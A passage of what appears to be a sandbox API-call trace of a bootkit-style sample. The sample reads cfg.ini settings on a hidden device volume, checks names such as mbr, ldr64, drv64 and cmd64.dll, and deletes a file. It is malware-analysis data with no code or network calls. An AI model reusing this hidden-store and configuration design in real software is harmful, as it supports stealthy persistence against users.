Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.617] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.617] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.617] IdePortDispatch () returned 0x103 [0125.617] KeWaitForMutexObject () returned 0x0 [0125.617] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.617] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.617] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.617] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.617] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.617] IdePortDispatch () returned 0x103 [0125.617] KeWaitForMutexObject () returned 0x0 [0125.618] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.618] KeLeaveCriticalRegion () [0125.618] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.618] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.618] KeEnterCriticalRegion () [0125.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.618] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.618] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.618] KeLeaveCriticalRegion () [0125.618] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.618] KeEnterCriticalRegion () [0125.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.618] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.618] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.618] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.618] KeLeaveCriticalRegion () [0125.618] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.618] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.618] KeEnterCriticalRegion () [0125.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.618] ExFreePoolWithTag (P=0xfffffa8003bf7fb0, Tag=0x0) [0125.619] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.619] KeLeaveCriticalRegion () [0125.619] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.619] ReleaseMutex (hMutex=0xf0) returned 1 [0125.619] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.619] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.619] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.619] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.619] KeEnterCriticalRegion () [0125.619] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.619] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.619] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.619] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.619] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.619] IdePortDispatch () returned 0x103 [0125.619] KeWaitForMutexObject () returned 0x0 [0125.619] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.619] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.619] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.619] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.619] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.619] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.619] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.619] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.619] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.619] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.619] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.619] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.619] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.619] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.619] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.619] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.619] KeLeaveCriticalRegion () [0125.619] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.619] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.619] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.620] KeEnterCriticalRegion () [0125.620] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.620] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.620] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.620] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.620] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.620] IdePortDispatch () returned 0x103 [0125.620] KeWaitForMutexObject () returned 0x0 [0125.620] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.620] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.620] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.620] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.620] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.620] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.620] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.620] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.620] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.620] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.620] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.620] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.620] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.620] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.620] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.620] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.620] KeLeaveCriticalRegion () [0125.620] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.620] ReleaseMutex (hMutex=0x100) returned 1 [0125.620] Sleep (dwMilliseconds=0x2bf20) [0125.627] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e1338b0, dwHighDateTime=0x1d24fa4)) [0125.627] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.627] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.627] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.627] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.627] KeEnterCriticalRegion () [0125.627] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.627] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.627] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.627] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.627] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.627] IdePortDispatch () returned 0x103 [0125.628] KeWaitForMutexObject () returned 0x0 [0125.628] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.628] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.628] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.628] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.628] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.628] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf9e10 [0125.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.628] KeLeaveCriticalRegion () [0125.628] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.628] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.628] KeEnterCriticalRegion () [0125.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.628] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.628] KeLeaveCriticalRegion () [0125.628] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.628] KeEnterCriticalRegion () [0125.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.628] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.628] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.628] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.628] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.628] IdePortDispatch () returned 0x103 [0125.628] KeWaitForMutexObject () returned 0x0 [0125.628] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.628] KeLeaveCriticalRegion () [0125.628] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.629] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.629] KeEnterCriticalRegion () [0125.629] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.629] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cba000 [0125.629] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.629] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.629] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.629] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.629] IdePortDispatch () returned 0x103 [0125.629] KeWaitForMutexObject () returned 0x0 [0125.629] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.629] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.629] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.629] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.629] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.629] IdePortDispatch () returned 0x103 [0125.629] KeWaitForMutexObject () returned 0x0 [0125.629] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.629] KeLeaveCriticalRegion () [0125.629] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.630] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.630] KeEnterCriticalRegion () [0125.630] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.630] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.630] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.630] KeLeaveCriticalRegion () [0125.630] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.630] KeEnterCriticalRegion () [0125.630] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.630] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.630] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.630] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.630] KeLeaveCriticalRegion () [0125.630] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.630] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.630] KeEnterCriticalRegion () [0125.630] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.630] ExFreePoolWithTag (P=0xfffffa8003bf9e10, Tag=0x0) [0125.630] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.630] KeLeaveCriticalRegion () [0125.630] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.630] ReleaseMutex (hMutex=0xf0) returned 1 [0125.630] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.630] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.630] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.630] KeEnterCriticalRegion () [0125.630] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.630] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.630] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.630] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.630] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.630] IdePortDispatch () returned 0x103 [0125.631] KeWaitForMutexObject () returned 0x0 [0125.631] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.631] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.631] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.631] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.631] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.631] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf72d0 [0125.631] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.631] KeLeaveCriticalRegion () [0125.631] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.631] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.631] KeEnterCriticalRegion () [0125.631] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.631] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.631] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.631] KeLeaveCriticalRegion () [0125.631] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.631] KeEnterCriticalRegion () [0125.631] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.631] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.631] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.631] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.631] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.631] IdePortDispatch () returned 0x103 [0125.631] KeWaitForMutexObject () returned 0x0 [0125.631] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.631] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.631] KeLeaveCriticalRegion () [0125.631] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.631] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.631] KeEnterCriticalRegion () [0125.631] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.631] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cbb000 [0125.631] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.631] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.632] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.632] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.632] IdePortDispatch () returned 0x103 [0125.632] KeWaitForMutexObject () returned 0x0 [0125.632] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.632] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.632] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.632] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.632] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.632] IdePortDispatch () returned 0x103 [0125.632] KeWaitForMutexObject () returned 0x0 [0125.632] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.632] KeLeaveCriticalRegion () [0125.632] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.633] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.633] KeEnterCriticalRegion () [0125.633] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.633] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.633] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.633] KeLeaveCriticalRegion () [0125.633] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.633] KeEnterCriticalRegion () [0125.633] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.633] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.633] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.633] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.633] KeLeaveCriticalRegion () [0125.633] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.633] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.633] KeEnterCriticalRegion () [0125.633] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.633] ExFreePoolWithTag (P=0xfffffa8003bf72d0, Tag=0x0) [0125.633] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.633] KeLeaveCriticalRegion () [0125.633] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.633] ReleaseMutex (hMutex=0xf0) returned 1 [0125.633] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.633] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.633] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.633] KeEnterCriticalRegion () [0125.633] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.633] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.633] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.633] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.633] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.633] IdePortDispatch () returned 0x103 [0125.633] KeWaitForMutexObject () returned 0x0 [0125.633] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.633] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.633] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", 